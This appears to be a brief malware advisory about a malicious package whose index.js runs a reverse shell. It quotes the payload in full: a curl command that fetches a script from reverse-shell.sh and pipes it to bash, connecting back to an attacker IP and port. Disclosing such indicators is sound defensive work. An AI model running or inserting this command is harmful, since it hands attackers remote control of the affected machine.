GCVE-110-OSM-2026-9579

The package contains an explicit reverse shell payload in index.js: `exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.64.141:4433|sh"')`. This fetches and executes a remote shell script from the known-bad domain reverse-shell.sh, connecting back to attacker-controlled IP 10.0.64.141 on port 4433. The attacker model is a classic supply-chain reverse shell — the exported function triggers a callback shell to the attacker's listener. The package has no legitimate metadata (no description, no repository, no author), consistent with a throwaway malicious package. The code is unobfuscated and the intent is unambiguous. ENTRY index.js (main: index.js) DESTINATION - 2 fetched-payload (urls, domains) (values recorded in verified_iocs) EXFIL - Curl/Wget Pipe to Shell in index.js: "curl https://reverse-shell.sh/10.0.64.141:4433|sh" PAYLOAD FILES index.js